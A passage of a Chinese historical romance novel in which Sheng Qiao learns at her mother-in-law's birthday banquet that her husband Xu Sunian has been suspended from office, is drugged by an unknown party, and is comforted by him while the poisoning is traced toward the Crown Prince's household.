盛乔觉得自己被男人勾引了,她不想面对,却也不想委屈自己,没出几天就打破了誓言,又被徐肃年抱到床上去了。
每每这个时候,盛乔就会特别希望徐肃年的休沐快些结束,
如果他早上要上朝的话,晚上大概不敢再与她胡闹了。
不过休沐日结束之前,她先等来了丹宁长公主的生辰-
头一天晚上,两人难得没做什么事,第二天早早起床回了丹宁公主府。
回去的时候,正赶上丹宁长公主和驸马在用膳,听到两人回来了,丹宁长公主立刻叫贴身婢女雪绒带他们进来。
“怎么来得这么早?”丹宁长公主笑着招呼两人坐下,“可用过早膳了吗?”
“还没有呢。”与公婆见过礼后,盛乔便紧挨着丹宁长公主坐下,撒娇道,“我们就是想来陪公公和婆婆用膳,才特意没吃早膳的。”
原本就公主和驸马两个人用膳,便也没讲究什么菜式排场,桌上摆的都是他们平日常吃的菜。
这会听到盛乔的话,丹宁长公主立刻吩咐人再多加几样。
小厨房的动作很快,没一会儿就又摆上了新的盘碗,盛乔打眼一扫,只见新的菜式全是徐肃年平时爱吃的清淡口味。
不知她发现了,一旁的徐肃年也发现了,拿起筷子的手微微一顿,又对雪绒吩咐道:“再叫厨房蒸一屉鸡丁小笼包来。”
鸡丁小笼包是盛乔最近几天早上最喜欢吃的一道,听了这话,她心里不由得一暖,但也敏锐地觉察出了什么不对。
先前徐肃年对她说,自己和父亲的关系不算好,于是盛乔今日特意观察了两人的互动。
果然徐肃年除了行礼之外,坐下之后没和他身边的徐驸马说半句话,两人完全不像是多日未见的一对父子,倒像是一对陌生人。
而另一侧的丹宁长公主,盛乔也顺带着一起观察了一下,她发现丹宁长公主虽然对徐肃年很好,可是他们母子间的关系仿佛也不算亲近,尤其是丹宁长公主每次亲自给徐肃年夹菜时,徐肃年都会露出一副受宠若惊的模样,然后客气规矩地与母亲道谢。
这如何像是母子呢?
盛乔觉得不能理解,但是想到每家有每家的相处模式,她终究刚嫁给徐肃年没多久,感觉不是很能说的上话。
只是心里很是心疼徐肃年,明明他父母双全,为何将关系弄得这般生疏呢?
不过这一顿早膳的功夫显然不够她思考出结果的。
用过早膳,二郎肃景和三郎肃成来给父母请安,见到大哥明显十分高兴。
于是丹宁长公主便让徐肃年去和两个兄弟多说说话,只留了盛乔陪在自己身边。
婆媳两人先前见过的次数不算多,但丹宁长公主一向很喜欢盛乔,对她这个儿媳妇从不摆架子,向对待自己的女儿一般。
盛乔也很喜欢丹宁长公主这个婆婆,在她心里,丹宁长公主和自己的阿娘很像,无论是气质还是性格。
当然最重要的还是因为,她是徐肃年的亲娘,她当然会好好孝顺她。
陪着丹宁长公主说了半天的话,中午又被她拉去一起见客。
长公主的生辰,自然来了不少宾客,盛乔原想像从前一样躲懒,丹宁长公主却对她说:“你如今已经成婚,是有品级的诰命夫人,怎么能还像以前一样把自己藏在闺阁中,别忘了,你现在可是端阳侯夫人,出去露面,代表的是你们夫妻两个。”
若是只有盛乔自己,她当然不会在乎这些,可是现在她和徐肃年夫妻一体,她不愿牵累徐肃年。
本来他在长安百姓中的名声就已经够不好的了,若是再让众人以为他新婚妻子是个不中用的废物,岂不是更加沦为旁人茶余饭后的谈资了。
或许盛乔不能凭借一己之力改变舆论,至少也想靠着自己的力量为徐肃年做些什么。
因此,她在宴席上看到自己的亲阿娘和三嫂之后,都只来得及匆匆打一个招呼,之后就跟着长公主,与她穿梭在宴会的众宾客之间。
因为来得宾客多,公主府花园的几个楼阁全都摆了桌子,盛乔看一看这边,又要去照顾那边。
其中一处名为孤赏轩的小楼离得最远,坐的都是高门贵女,因着年轻未成婚,因此她们单开一桌。
盛乔担心她们坐的远,宴席会出差错,过来想要看看,不料刚走到门外,就听到了里面的说话声——
“今日穿着黄衣裳一直忙碌的那个女子是谁?”
盛乔低头看了看自己身上的黄色衣衫,她们是在讨论自己吗?
下一刻就有人回答了这个问题,果然是在说她。
“就是端阳侯的夫人,盛家的三娘子……”
“竟是她?”有人惊讶,明显是从前没见过盛乔,“从前当娘子的时候没露过面,如今做了侯夫人,倒是长袖善舞起来了。”
“她的命真好,出身高,嫁的也好,婆婆又是丹宁长公主这样的和善人,只怕后半辈子都是享不尽的荣华富贵……”
听到这话,连盛乔都不自觉勾了勾唇角,推门想要进去,却又听到另外一句,“只怕不见得罢。”
盛乔立刻皱起眉。
屋里其他人显然也被这话惊到了,连忙问道:“何出此言?”
“你们还不知道吗?”
那人声音温婉如水,偏偏怎么都遮不住语气里的刻薄嘲讽,“你们还不知道罢,端阳侯被陛下罢了官,如今大理寺卿的位置已经被别人顶了。”
“如今那端阳侯空有爵位,没有官职,更失了陛下宠爱,我看这荣华富贵不是数也数不尽,反而是享受到头了。”
第66章 宴会醉酒就是这种感觉吗
丹宁长公主的生辰宴,一向十分热闹,各府来贺寿的宾客马车能将公主府的横街堵得满满当当,男女宾的宴席足能摆上大几十桌。
郑夫人虽然和丹宁长公主相交多年,但盛乔却是第一次参加她的生辰宴,以为今年的宾客已经来得够多了。
但徐肃年每年都在,自然能感觉到今年宴会的寥落。
自从他入仕以来,便一直步步高升,每次宴会都会有人刻意搭话,这次旁人却像是没看见他似的,甚至还有人暗暗绕着他走。
虽然崇安帝没有下发明旨将他撤职,但算起来,他已经有四五个月没去过府衙了。
起先崇安帝还只是让盛淙代职,后来干脆将另一名少卿升到了御史台,然后又把从洛州回来的卢烨调进了大理寺,不过五个月,就又升做了少卿。
谁都知道,如今的大理寺最受皇帝重用的已经成了卢烨卢大人,反而是原本的大理寺卿徐肃年已经在家中闲赋数月。
虽然崇安帝给出的理由是休养身体,可这几个月也不是没人看到过徐肃年,尤其是大婚那日,在场所有宾客都看到了徐肃年,分明没有半点事,却莫名在家病休半年。
在朝为官者没有蠢人,谁都能看懂朝中的风向已经变了,虽然不知为何,但总归知道是端阳侯惹了陛下不快,不说拜高踩低,至少也要保持距离,以防陛下届时发难,会牵连到自身。
徐肃年平素并不结交,但也能感觉到周围人对他态度的变化。
不过这原本就在他的意料之内,徐肃年并不在意,照常与众人见了礼,没多久徐肃景也来了,他如今已经入了仕,正得陛下重用,一路面便被人簇拥着围到正中,徐肃年没有凑上前抢风头,便在附近找了个亭子坐下。
没过多久,身后传来一阵脚步声,徐肃年回头一看,竟是驸马徐荆朝他走了过来。
“父亲。”徐肃年起身见礼。
徐荆看着不远处的徐肃景,问:“少安,怎么一个人坐着。”
徐肃年看了徐荆一眼,不怎么委婉地开口,“父亲何必明知故问。”
这些年徐肃年一直对自己是这个不冷不热的态度,徐荆早已习惯,他平时原本也不会主动凑到他前面,父子关系比水都淡,但见到徐肃年备受冷落,到底忍不住开了口,“最近几个月你没上朝,不知朝中变化,太子
地位摇摇欲坠,陛下已经明显有了改立……”
后面的话还没说出来,徐肃年便直接打断了,“立储虽是国本,但也是陛下的私事,父亲与我说这些做什么?”
徐荆如何听不出来他话里的回避,原本只想提醒几句,但是现在不由得真的生出几分焦急与失望。
他自知徐肃年与他不亲近的原因,一直对他心怀愧疚,何况他不仅是他最成器的大儿子,更是……
徐荆失望地看着他,“难道你真的要为了一个女人,放弃大好前程吗?”
徐肃年原本十分淡然,说话时连表情没有变化,但此时听到这句话,徐肃年难得没能控制好自己的情绪,冷笑着讽刺,“在这点上,我自然比不上驸马大人有志气了,为了自身前程什么都能放弃。”
徐荆脸色骤变,第一反应先看向周围有没有人,然后才去看徐肃年,怒道:“徐少安,注意你对我说话的语气。”
徐肃年冷哼一声,没再说什么。正在这时,那边的徐肃景转了个身,看到父兄二人竟然坐在亭子里说话。
这场面平日可不多见,他既惊又喜,连忙走过来,“阿爹,大哥……”
徐肃年原本就想离开,这会儿见徐肃景过来,朝他点了点头,然后说道:“我去看看阿乔。”
说这话的时候,徐肃年刻意看了徐荆一眼,说完便直接拂袖而去了。
徐荆自然能感觉到他的挑衅,气的面色发白,他还想再说什么,可是当着徐肃景的面,到底是把话咽了回去。
虽然嘴上说着去找盛乔,但实际上徐肃年并未往后院走,他心知自己现在的情绪不好,不想让盛乔看到自己现在的模样。
不料才走出去没多远,竟然就看到了盛乔。
她没带婢女,只一个人在树边站着,看着分外单薄。
徐肃年惊讶地蹙了蹙眉,快步迎上去,“你怎么在这儿?”
又见盛乔脸色不是很好看,忙问道:“怎么了?是不是着凉了。”
盛乔在听到那一番谈话之后,第一反应就是来找徐肃年问个清楚。
可没想到过来之后,看到的就是徐肃年一个人坐在亭子里,另一侧则是被宾客团团簇拥的徐肃景。
这样的场面,纵是盛乔从旁看着,都有些心酸,何况是徐肃年自己。
其实在两人还未正式赐婚前,盛淙有一阵骤然忙碌起来,就是暂代了徐肃年的职位。
但当时她只以为是皇帝担心徐肃年的身体,让他在家养伤。
没想到几个月过去,徐肃年还没有回到大理寺。
是因为她吗?
她忽然有些胆怯了,不敢把话问出口了,可是在看到徐肃年满脸关心的看着自己时,她又改变主意了。
两人相识这么久以来,徐肃年为她做了很多事,她在理所应当地享受他的关心的同时,也该对他付出同样的关心。
毕竟他们已经成婚,是夫妻一体。
盛乔看着徐肃年关切的脸,犹豫半晌,还是把话问了出来,“徐肃年,你曾经答应过我,不会再骗我,对不对?”
徐肃年难得看到盛乔露出这样严肃的表情,先是微微一怔,而后点头道:“当然。”
“好,那我问你。”盛乔确定了一下左右无人,然后才开口,“你是不是被陛下停职了。”
徐肃年这下是真的惊讶了,蹙眉问道:“谁和你说的?”
盛乔执拗地问:“你只说是不是?”
听盛乔这个语气,就知道她是已经猜到了大概,既如此,再瞒下去也没有什么意义,于是缓缓点了点头。
纵然早就听到了传闻,可是此时见到徐肃年点头,盛乔还是有些不敢相信。
她愣愣的站了半晌,才开口说道:“难怪婚前这几个月,你总会出现在街上……”
徐肃年原本心情还有些复杂,可听到盛乔这话我,又有些忍俊不禁,“这是什么话,你把我当成那些游手好闲的纨绔了?”
“放心,我只是停职,并未撤职,每月还有俸禄,足够养我的小娘子了。”
这笑话一点都不好笑,盛乔笑不出来,反而有些难过,她抬头看了徐肃年一眼,泪珠盈盈坠落。
徐肃年见此被吓了一跳,连忙将她拉到一旁的隐秘处,然后抬手拭去了她眼角的泪珠,“怎么哭了。”
盛乔含含糊糊的往他怀里蹭,“都怪我……”
徐肃年就是怕她多想,才始终没有将这话告诉她,这会儿听了盛乔的话,徐肃年只觉心如刀割。
“怎么会怪你呢?”徐肃年将盛乔紧紧搂在怀里,想说些什么,可这毕竟是在外面,随时都可能有人来,徐肃年掏出帕子给盛乔擦了擦眼泪,“这里不是说话的地方,我们回去谈,好不好?”
盛乔一向不爱出门交际,对人情世故也并不算懂。但在这时她好像忽然开了窍似的,没由着自己的情绪继续发酵,毕竟一会儿还有宴席,若是被人发现她曾经哭过,不知要传出什么闲话来。
眼看就要开宴,却未见盛乔,至爽斋里,丹宁长公主正要派人去找,就见徐肃年和盛乔并肩走了过来。
“少安怎么也过来了?”丹宁长公主颇有些惊讶,
坐在丹宁长公主身边的是太子妃朱氏和四皇子妃刘氏,两人原本正在一旁坐着喝茶,听到丹宁长公主说完这话,纷纷抬起头朝门口看过去。
屋内都是女眷,徐肃年将盛乔送过来之后,便没有再往里走,停在屏风外给两位皇子妃行了个礼,便转身退下了。
丹宁长公主招呼盛乔坐在自己身边,“怎么是少安送你过来的?”
盛乔抿了抿唇,回道:“侯爷知道我没经验,不放心我。”
儿子和儿媳的感情好,也是丹宁长公主乐意见到的事,此时不由得笑道:“这孩子,成婚了也长大了,知道心疼人了。”
盛乔有些不好意思地低下头去。
另一侧坐着的四皇子妃刘氏见此什么都没说,只端起茶盏轻抿了一口。
倒是上首的太子妃轻挑了挑眉,意味深长地说:“世人都说端阳侯为人冷肃,不料还是个情种,和盛娘子成亲这才半个月不到,就已经感情这么深厚了。”
纵然盛乔再迟钝,也能听出这句话的不对劲话的语气不对,却又不知道该说些什么,求助般地看向身旁的丹宁长公主。
丹宁长公主安抚地拍了拍盛乔的手背,然后笑着对太子妃说:“夫妻和睦是好事,想来太子妃和太子年少相识,多年恩爱,更是他们年轻人的表率。”
听到这话,太子妃的表情略显僵硬,唇角的笑意有点维持不住了。
谁不知道,惠国公府势不如前,太子也被皇帝厌弃,虽然还未废黜,但想来也是无法扭转的了。
她虽然明面上不说,实际上心里已经认命了。
就算太子还能继续做下去,她这个太子妃也当不了太久了。
毕竟她姓朱,出身惠国公府,在太子眼中已经没用了。太子对她连仅剩的尊重都没有,甚至因为她从前反对太子和皇后想要纳盛家这位小娘子入东宫的事,被太子翻了旧账。
想到昨日太子接连羞辱她的那番话,太子妃便觉得心口隐隐作痛,既难过又难堪。她也是大家出身,自幼就被当做太子妃培养,这些年替太子打理东宫,维持人脉,也没有一丝懈怠。
如今她的娘家倒了,便被太子厌弃。
男人果然没有一个靠谱的。
想到这,太子妃看向盛乔的表情里也禁不住掺了一点怜悯之意。
其实这位端阳侯夫人和她也没有什么区别。
出身再高又如何,还不是成了夫家的附庸,陛下容不得世家存世,朱家倒下之后,谁知道后面又有多久就会轮到盛家?
现在不就是轮到端阳侯了。
想当
年一步封侯有多么风光,如今不也是被皇帝厌弃了么,端阳侯得不到重用,届时这位新婚的盛娘子只怕也不会有什么好下场。
太子妃冷哼着垂下眼,没再说话。
只是这厅中气氛到底是冷了下来。
四皇子妃刘氏和四皇子也是新婚不久,她刚嫁入皇家,身份又比不上太子妃尊贵,而且本身也出身不高,性子有些唯唯诺诺的,原本一直没说话。
只是见到气氛凝结,才适时开口将话题转开,对丹宁长公主问道:“姑母,我瞧着这时辰已经差不多了,不若直接开宴罢。”
“好。”
丹宁长公主也不想真的弄僵,无论如何,太子还没废黜,太子妃就永远是太子妃。于是她笑着点了点头,“开宴罢。”
说完,她朝太子妃抬了抬手,“太子妃先请。”
太子妃也没有客气,当真起身先走出了至爽斋。
丹阳长公主和四皇子妃紧随其后。盛乔扶着丹宁长公主起身,与她一同往外面走去。
今日宴会,男客在前头由徐驸马亲自招待,至于女眷,则大多都聚在了至爽斋附近的水榭里。
丹宁长公主与两位皇子妃坐在首席,同席的还有几位身有诰命的贵妇,其中就有郑夫人。盛乔原本未坐在这一桌,扶着两位母亲坐下之后便要离开。
倒是四皇子妃开口替她说话,语气十分温柔,“端阳侯夫人还要去别桌吗?我靠不若就在这一并坐下罢,反正大家也都不是外人,这不,燕国公夫人也在呢?”
盛乔出身高,如今又是丹宁长公主的长媳,在座的贵妇都是聪明人,何况四皇子妃都这么说了,谁会在这时出言扫兴。
于是盛乔便依言坐到了郑夫人的身侧。
丹宁长公主性子温柔,为人却十分爽利,今日又是她的生辰,特意让人拿了自己珍藏的美酒,为宴席添光。
酒香甜腻,叫人闻之欲醉,盛乔原不想喝的,闻到酒香又不舍得推拒了。
反正只浅浅地喝一口,应当没事吧。
盛乔这样想着,也怕自己不胜酒力,当真只浅浅抿了一小杯,但不知是不是酒劲太大,只喝了一点就有些头晕。
郑夫人紧挨着女儿,第一时间注意到了她的不对劲,连忙问:“怎么了?”
盛乔握着酒杯摇了摇头。
郑夫人看她这样子,也颇有些无奈,低斥道:“你这孩子,这样的场合怎么能喝醉呢?”
丹宁长公主在上首也注意到了盛乔的不对劲,连忙给身边的雪绒使了个眼色。
雪绒会意,亲自扶着盛乔去后面休息。
“夫人,您在这稍坐一会儿,奴婢叫人给您送完解酒汤过来。”
盛乔撑着劲儿点了点头。
说是酒醉,可她觉得自己的意识还是清醒的,想说话却提不起半点力气,眼皮也沉沉的,无时无刻不想闭眼。
醉酒就是这样吗?
盛乔这样想着,不知不觉就闭上了眼睛。
等她再睁眼的时候,屋子里已经没人了,她身边的琥珀和琉璃没有跟来,连带着雪绒也不见了,屋子里好像只剩下她一个人。
这时,房门被人从外推开,盛乔努力睁眼往外看,只见一个高大的人影朝她走了过来。
盛乔脑中一片昏沉,看不清来人的脸,只是循着本能地唤了一声,“徐肃年……”
第67章 遇险居然中了毒
“徐肃年……”
叫出这三个字,盛乔完全是遵循本能,可当那人走近之后,盛乔又立刻意识到,那根本不是徐肃年。
她昏昏沉沉地想要睡觉,但还是强撑着力气坐起身,斥道:“你,你是谁?”
来人自不会回答,盛乔听着他越走越近的脚步声,心里慌得直打鼓,她撑着美人榻的扶手想要站起来,但是实在虚弱的站不起来。
正好榻旁的小桌上放着一个茶盏和一个青瓷瓶,盛乔用尽全身力气,将花瓶和茶盏拂到地上,安静的房间骤然炸开噼里啪啦的脆响。
来人显然也被吓了一跳,脚步顿住没再往前,盛乔立刻趁着这个空当朝外面扬声喊,“来人……来人!雪绒!”
雪绒原本就没有走远,只是看盛乔身上起了一层冷汗,怕她里衣都要湿透了,便叫人去找琥珀,让琥珀给盛乔拿件贴身的衣物给她换,毕竟宴会还没结束,盛乔一会儿还要归席。
谁知话刚说到一半,就听到房间内噼里啪啦一阵巨响,紧跟着是盛乔模模糊糊的求救声。
雪绒急忙跑进去,以为是盛乔体力不支从长榻上滚了下来,没想到一进门先看到了一道高大的身影,一看就是男人,且十分陌生。
雪绒吓了一跳,顾不得许多,当即大喊,“来人!有刺客!有刺客!”
然后整个人立刻挡到了盛乔的身前,关切道:“夫人,您没事罢?”
毕竟是女客休息的厢房,护卫过来不由得慢了几步,等过来的时候那人已经从另一侧的窗户翻了出去,匆匆追过去也没能抓到人。
倒是雪绒细心,担心张望时,发现了窗户边好像有个什么东西。
她扶着盛乔靠在软枕边,然后自己走到窗边去看,果然捡到一个香囊,湖蓝的绸缎底面,上绣梅花三友,一看就是男子佩戴的。
雪绒看着仍旧昏昏沉沉的盛乔,手里捏着香囊的力道也不由得紧了紧。
她是自幼就跟在丹宁长公主身边的,这些年从宫闱到公主府,见过多少腌臜不堪的手段,此时看到盛乔这副模样,心里也大约有了猜测。
只是此时若是大张旗鼓,必定损害盛乔的清誉,甚至连端阳侯府和丹宁长公主府的名誉也会赔进去。
这么大的事很快就惊动了长公主,她匆匆赶来,急忙问道:“这是怎么了?”
雪绒已经将香囊收起来了,回道:“夫人不胜酒力,奴婢扶着夫人过来小憩,不料一进门正看到有人在房中鬼鬼祟祟的,这才惊慌叫了护卫。”
她并未提及是盛乔独自在房中,只说是自己和盛乔一起看到的。
今日是丹宁长公主的生辰宴会,却发生了这样的事情,她闻言脸色十分难看,立刻下令彻查,然后又回到了前面去安抚宾客。
宾客们也都是明白人,知道今日府中发生了这样的事,丹宁长公主定然是无心过寿了,也都没有久留,很快告辞。
太子妃走得最早,她一提要离开,四皇子妃也没跟着久留,丹宁长公主亲自将二人送到了二门处,四皇子妃上车前看到丹宁长公主脸色难看,柔声宽慰了一句,“只要端阳侯夫人没事就好,姑母要注意身体。”
丹宁长公主勉强笑笑,回到了至爽斋。
雪绒正在院中侯着,见丹宁长公主回来,连忙迎上前,“公主殿下。”
丹宁长公主皱眉看向屋内,“少安来了么?”
雪绒点了点头,回道:“奴婢担心夫人在的厢房太偏僻,于是特意将夫人先安置在了至爽斋,侯爷听到消息很快就来了,现下正在里面陪着夫人呢。还有……邓大夫,也在里面。”
邓大夫是丹宁长公主府的住府大夫,平时丹宁长公主有个小痛小病的不值得进宫请御医,都是他来诊治。
此时听到邓大夫也在,丹宁长公主也意识到了什么,脸色骤然变了,“刚才到底是发生了什么事?”
此时没有外人,雪绒便也不再隐瞒,将方才发生的事完完整整地和丹宁长公主叙述了一遍。
然后将方才收起来的香囊双手呈给了丹宁长公主,跪下请罪道:“都是奴婢的疏忽,请殿下责罚。”
丹宁长公主听完脸色铁青,她接过那枚香囊,然后嘱咐道:“这事别对少安提起。”
虽然什么都没发生,但毕竟有损盛乔闺誉,丹宁长公主担心被徐肃年知道,会忍不住多想,让这新婚的小夫妻生出隔阂。
不料此话刚落,雪绒还没应,就见徐肃年从屋内走了出来,径直问道,“什么别告诉我?”
丹宁长公主没想到他会在这时候出来,一时不知要不要告诉他,正犹豫间,徐肃年已经朝她走了过来。
他先吩咐雪绒退下,然后才对丹宁长公主行了个礼,语气冷淡地说:“方才邓大夫给阿乔把了脉,说他不是醉酒,而是中了毒。”
“什么?”
虽然丹宁长公主方才心里已经有了预料,可此时亲耳听到,还是震惊到无以复加。
盛乔居然中了毒,还是在她的生辰宴上中了毒。
那旁人如何?今日众多宾客之中,可还有两位皇子妃。
徐肃年如何猜不到丹宁长公主心里在想什么,安抚道:“母亲放心,邓大夫说了,阿乔中的毒名为‘今日醉’,喝下去之后不到半个时辰就会发作,中毒反应和醉酒无异,头晕眼花,身子无力,宴上其他人若也食了毒药,只怕早就发作了。既然一直没有反应,就说明没事。”
听到这话,丹宁长公主心里总算松了口气,但又很快想到盛乔,不安道:“那是专门为着
阿乔来的了?”
答案显而易见,徐肃年脸色铁青,没有说话。
丹宁长公主有些想不明白,“为何要针对阿乔呢?是什么人……”
她恍然想到宴会开始前,太子妃对阿乔的态度,仿若有隐约的针对。
“难道是朱卉?”丹宁长公主皱起眉,“可她为何要针对阿乔?两个人根本就不认识啊?”
徐肃年说:“母亲或许不知,皇后和太子曾有迎阿乔入东宫的念头。”
“什……什么?”
丹宁长公主不是个有野心的人,对于朝政之事并不关心,驸马徐荆的官职也不高,能有宜春侯的爵位,全靠尚公主,夫妻两人平时在家从不讨论朝政之事,因此对徐肃年所说的并不知情。
不过此时听他一说,也隐约明白了,朱家式微,反倒是盛家蒸蒸日上,太子想迎盛乔入东宫,无非就是想要依靠盛家的势力,因此绝不可能让盛乔做侧妃。
可是太子正妃的位置只有一个。
想来皇后和太子都是动过让太子妃之位让贤的念头。或许朱卉就是在那时候对盛乔怀恨在心,一直记到现在,即便盛乔已经嫁给了徐肃年,再不可能入东宫,可她心里仍旧没有吐出那口恶气,暗暗下药想要让她当众出丑。
这样想着,丹宁长公主忽然低下头,看向雪绒方才交给自己的那个香囊。
方才还不觉得,此时倒是越看越觉得眼熟,总觉得好像从哪见过。
徐肃年就在她身边站着,一低头就看到了那个香囊,眉头皱了皱,说:“这香囊,太子身上有个一模一样的。”
丹宁长公主大惊,抬眼看向徐肃年,问道:“你如何确定?”
徐肃年回忆道:“前不久太子曾召我去过一次东宫,有个小太监上茶时不小心手抖打翻了茶水,太子解下香囊时,我正在太子身边。”
说完,他又看向那枚香囊,说道:“无论是颜色,布料,还是上面的花纹图样,都和母亲手里这个相差不大,至于是不是同一个,我也不能万分确定。”
虽然没有确切的证据,可当怀疑的种子一旦埋下,就会很快扎根发芽,再想拔除可就难了。
何况盛乔先前还和东宫有过那样的渊源,或许是太子心里对盛乔还有执念,特意与太子妃联手,让她做局给盛乔下药。
如此一来,太子妃今日对盛乔隐隐的敌意也能说得通了。
丹宁长公主将这话说给徐肃年听,徐肃年不置可否,只道:“此时交给儿子去查罢,阿娘不必再操心了。”
丹宁长公主听出儿子言语之间隐忍的冷意,拍了拍他的肩膀,安抚道:“幸而阿乔没事,你回去之后,可无论如何不许对她发脾气。”
他如何会对盛乔发脾气,他心里愧疚自责还来不及。
不过当着母亲的面,徐肃年并未将情绪表露的太明显,只顺从地点了点头,说:“这枚香囊交给儿子罢。”
他竟然已经知道了事情的真相,也没有再隐瞒的意义,丹宁长公主将香囊交给他,又嘱咐他好好照顾阿乔,然后说道:“记得一会儿给你岳母去个信,她还不知道别的,只以为阿乔醉了,临走时还没放心呢。”
没想到丹宁长公主连郑夫人那边都想到了,徐肃年一时竟不知道要说些什么,好半天才开口,“母亲,让您费心了。”
丹宁长公主笑着点点他,“这是什么话?你是阿娘的儿子,阿娘为你费心不是应该的么?”
听到这句话,徐肃年不由得微微一顿,但也只是一瞬间,就将眼底的挣扎与愧疚藏了起来。
丹宁长公主并未注意到儿子的表情变化,反而欣慰儿子最近与自己亲近了不少。
自从徐肃年从洛州回来之后,整个人比之从前变了许多,虽然在她面前仍是话不多,可是从前那种拒人于千里之外的疏离已经减少了许多,甚至有时也会主动关心她这个母亲了。
尤其是成亲之后,丹宁长公主明显能感觉到儿子的性子变得柔软许多。
这一切是谁的功劳不言而喻,因此丹宁长公主对盛乔这个儿媳妇原本就十分满意,现在更是一万个喜欢,一万个感激。
只盼着少安这孩子能够与她再亲近亲近。
这样想着,丹宁长公主本想再说些什么,不料忽然听到房间里传来了丫鬟们惊喜的声音,“小娘子,小娘子……您醒了!”
看来是盛乔醒了。
丹宁长公主心里也是松了口气。今日实在发生了太多的时候,加上操持宴会,她其实也有些疲累。于是便对徐肃年道:“今日你们夫妻今天就留在公主府住一宿罢,一会儿让雪绒给你们收拾院子。现下阿乔刚醒,想必精神还不好,我就先不进去了,你先去看看她,与她好好说话。”
说完,她便转身离开了,徐肃年点点头,然后沉默地将她送出了院子。
“母亲……慢走。”
第68章 后悔让我替你分担,好不好?
其实盛乔这一下午几乎都昏昏沉沉的,方才又喝了安神汤睡过去了,连邓大夫给她把脉都没有醒。
这会儿忽然转醒,还有些迷糊,她看到门口走过来的徐肃年,以为仍在梦中。
直到徐肃年走到床边,握住她的手,盛乔真切地感觉到他掌心传来的温度,才终于感觉心脏落地。
她扑到徐肃年的怀里,两手紧紧抱住他的腰,呢喃道:“徐肃年……”
屋里的一众婢女见两人这般亲密的模样,彼此相视一眼,识趣地默默退下。
屋内只剩下盛乔和徐肃年两人,徐肃年抬手摸了摸盛乔的额头,柔声问道:“头还疼不疼?”
盛乔下意识摇了摇头,但抬眼触到徐肃年担忧的神情,又诚实地点了点头,“头很痛。”
说完,她使劲抓了一下徐肃年的手臂,“给我揉揉。”
她是命令的语气,却像是在撒娇,徐肃年知道她是怕自己担心,因此也没说什么,只将她往自己的怀里抱了抱,然后当真伸手给她揉起额头来。
盛乔原本只是与他玩笑,没想到他竟然真的有两下子,手指在额头按揉的力道不轻不重,让她十分舒服,没一会儿就整个人窝进了徐肃年的怀里。
徐肃年从后面环抱着她,能清楚的看到盛乔的表情,看着她微微阖住眼皮,一副昏昏欲睡的模样。
“今天是不是吓到了?”徐肃年轻声问。
一听到这话,盛乔瞬间睁开眼,仰头看了徐肃年一眼,没说话。
徐肃年捏捏她的耳朵,问道:“怎么了,怎么不说话?”
盛乔回头看了他一眼,仍是不说话。
徐肃年还从未见过盛乔这般安静沉默的样子,他瞬间慌了,心里更担心,抱着盛乔转了一圈,让她坐在自己的腿上,和
自己面对面。
“是不是被吓到了?”徐肃年搂着她,轻声问道。
盛乔如何会不被吓到,她从小到大都没有遇到过这样的事,她长于高门贵府,一辈子都没受过委屈。
今天宴会,本是为丹宁长公主贺寿的,没想到先是知道了徐肃年被停职的事,后来又发生了这样的事,她整个人也昏昏沉沉不舒服。
盛乔心里难过,却又不想和徐肃年说,他这四几个月闲赋在家,方才在宴上又独自落寞,盛乔不想把所有的情绪都堆到徐肃年身上,不愿他来分担自己的低落情绪。
她原想忍住不说,可当徐肃年关切地问出这话时,她又忍不住了,眼泪不自觉地充盈了眼眶,她抿了抿唇,撑坐起来搂住徐肃年的脖颈,“徐肃年,我今天真的好害怕……”
说着话,泪珠已经如断了线的珍珠串,大颗大颗地滴落在徐肃年扶在她下颌的手背上。
像是被烫到似的,徐肃年手指一颤,继而将她抱得更紧,“都是我不好,没能保护好你。”
盛乔像只小猫,试图勾住徐肃年的脖子往上爬,偏偏动作又笨拙,徐肃年将她从自己脖子上扯下来,然后一把将她圈在怀里。
虽然他当时没在盛乔身边,可只听雪绒的禀报就已经足够他后怕。
盛乔含糊地将眼泪在他身上蹭了蹭,徐肃年也不再说什么,大手在她的头顶一下下轻抚,像是帮炸了毛的小猫捋顺毛发。
盛乔就这么安心地窝在他的怀里,不知过了多久,才终于开口问徐肃年:“抓到那人是谁了吗?真的是刺客,那母亲和今日的其他宾客有没有事?”
没想到盛乔开口第一句,问得竟然不是自己,而是他母亲和所有在场的宾客。
徐肃年不知道说什么,他甚至已经说不出什么安慰的话,心里只有满满的愧疚。
一直以来,他对功名利禄都并不在意,他一直都清醒地知道自己的身份,知道自己只是一柄为君上利用的匕首,为他驱使。
他并不在意自己手中有多大的权力,有多高的地位,也从未想过涉入皇子争储站队之中。因为他清楚地知道自己的身份。
这几个月以来,他也不是没有机会翻身回朝,可他并不想,看着肃景一步步入仕,看着肃景逐渐得到崇安帝的信重,他并无任何嫉妒,而是乐见其成。
当时他之所以会把齐甄和齐源一并留在盛乔身边,也是有为他铺路的意思。丹宁长公主府的荣辉,本该由肃景承担。
从他十三岁那年起,他就坚定了这个念头。
但在盛乔遇到危险的这一刻,他忽然后悔了。
阿乔是燕国公府的明珠,是娇生惯养的小娘子,他当初既然下定决心要得到她,就应该知道,阿乔是多么的珍惜矜贵。
他应该要好好保护她,这是他的责任。
可他只顾着自己的心意,根本未能履行好这个责任。
今日这件事就是一个警醒。
无论今日的幕后主导者是谁,他都知道,来人不是为了阿乔,是冲着他,或者说,是整个丹宁公主府。
而今日之所以在丹宁长公主的宴会上动手,只怕就是想将事情闹大,到时候下不来台的可不止是他,还有长公主。
而且阿乔的娘亲也在,见此情形会无动于衷吗?
只怕两家姻亲刚定,转眼又成了仇家。
不过幕后之人其实很好猜,乐见此事的,除了争储的皇子之外,还能有谁。
现有太子妃当堂给盛乔难堪,又有雪绒捡到的那枚香囊,一切的证据都指向东宫。
今日太子也的确来公主府为长公主亲自贺寿了。
只是……
这证据来得实在太容易,反而叫人不敢信了。
最重要的是,阿乔到底是怎么中的毒。
她只在宴席上喝了几杯水酒,可她的位置却是换过的。
思绪飘远,徐肃年一时有些出神,以至于盛乔叫他的名字都没有听见。
“徐肃年,母亲没有事罢?”
这里的母亲称的是丹宁长公主,自从成婚之后,她就改口随了徐肃年的称呼。
一直没有得到回应,盛乔奇怪地抬头,正看到徐肃年愣愣的出神。
徐肃年有心事。
先前在洛州,两人只顾玩闹,无心其他,回到长安之后,两人又因为婚约见少离多。直到成婚之后,他们才算是真正的日夜相伴,几乎每时每刻都在一起。
也正是因为他们相处的时间久了,盛乔也敏锐地察觉到了徐肃年的不对劲。
